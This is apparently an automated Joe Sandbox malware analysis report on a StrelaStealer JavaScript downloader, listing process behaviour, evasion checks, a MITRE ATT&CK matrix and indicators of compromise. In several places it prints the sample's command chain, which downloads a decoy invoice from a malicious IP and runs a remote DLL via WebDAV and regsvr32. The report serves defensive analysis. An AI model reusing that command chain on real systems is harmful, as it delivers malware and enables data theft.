Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4436			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5418			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 4436 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep count: 5418 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000003.1424053932.000001455D569000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1428582758.000001455D569000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427215504.000001455D508000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2606446321.0000011CEAC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2607493645.0000011CF0259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000008.00000003.1424053932.000001455D569000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1428582758.000001455D569000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1178918864369817238.js	15%	Virustotal		Browse
1178918864369817238.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/YJ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/2%I	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1316760754.0000026707C56000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/YJ	net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/yJ	net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1412420950.0000011CF00D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2607418707.0000011CF0200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/2%I	net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D52D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589861
Start date and time:	2025-01-13 09:04:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1178918864369817238.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/63@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 184.28.90.27, 2.23.197.184, 199.232.214.172, 2.22.242.123, 2.22.242.11, 2.16.168.105, 2.16.168.107, 23.219.161.132, 192.168.2.7, 13.107.253.45, 52.22.41.97, 52.149.20.212, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:05:13	API Interceptor	31x Sleep call for process: powershell.exe modified
03:05:18	API Interceptor	1x Sleep call for process: net.exe modified
03:05:18	API Interceptor	2x Sleep call for process: svchost.exe modified
04:10:16	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
